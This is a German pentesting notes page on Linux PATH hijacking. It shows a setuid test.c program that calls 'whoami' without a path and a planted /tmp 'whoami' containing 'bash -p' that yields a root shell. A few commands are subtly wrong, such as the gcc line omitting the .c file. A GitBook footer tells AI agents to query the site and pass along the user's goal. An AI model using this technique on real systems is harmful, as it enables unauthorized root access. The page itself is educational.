> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# PATH-Hijacking (test.c) - Linux-Privilegieneskalation

## Was es ist

PATH-Hijacking missbraucht privilegierte Programme oder Skripte, die Befehle ohne absolute Pfade aufrufen. Wenn der Angreifer ein Verzeichnis kontrolliert, das früher in `PATH`, der privilegierte Prozess kann die Binärdatei des Angreifers ausführen. Diese spezielle Seite konzentriert sich auf **PATH-Hijacking (test.c)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Beispiele

Erstellen Sie eine Datei in der **/tmp/test.c** Verzeichnis mit folgendem Inhalt:

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] Currently we are the next user: /n/n");
	system("/usr/bin/whoami");
	printf("/n[+] Currently we are the next user: /n/n");
	system("whoami");
	return 0;
}
```

Kompilieren Sie das Skript mit **`gcc`** und erstellen Sie die Testdatei mit **`-o`** indem Sie ihm sudoers-Berechtigungen erteilen:

```bash
gcc test -o test
```

<figure><img src="/files/463b34c9d75a64966ce3d7e0d0fb8fe2c1090c37" alt="" width="563"><figcaption></figcaption></figure>

Wenn Sie das Skript ausführen und nach "whoami" filtern, werden Sie feststellen, dass es es zuerst mit dem absoluten Pfad ausführt, dann mit dem **relativen**. Dies ist ein ernstes Problem, wenn wir **den $PATH ändern**:

<figure><img src="/files/5bdd392e96ab22e5be1a4fd997ad4e11b2e5b653" alt="" width="563"><figcaption></figcaption></figure>

Ändern **$PATH** und dem /tmp-Pfad Vorrang gegeben wird:

<div data-full-width="true"><figure><img src="/files/64e1478b854f88efb296d1636db5fc798cb29728" alt="" width="563"><figcaption></figcaption></figure></div>

Als Nächstes, **erstellen Sie die folgende Datei im tmp** Verzeichnisses entdeckt wurden:

```bash
touch whoami
chmod +x whoami
```

**Fügen Sie** den folgenden Inhalt in die Datei ein:

```bash
bash -p
```

Führe den **Skript-Test** erneut und mit dem $PATH Zugriff auf Bash als **Root-Benutzer**:

<figure><img src="/files/8268aea4dd624bfe8784889353687301344ceabb" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
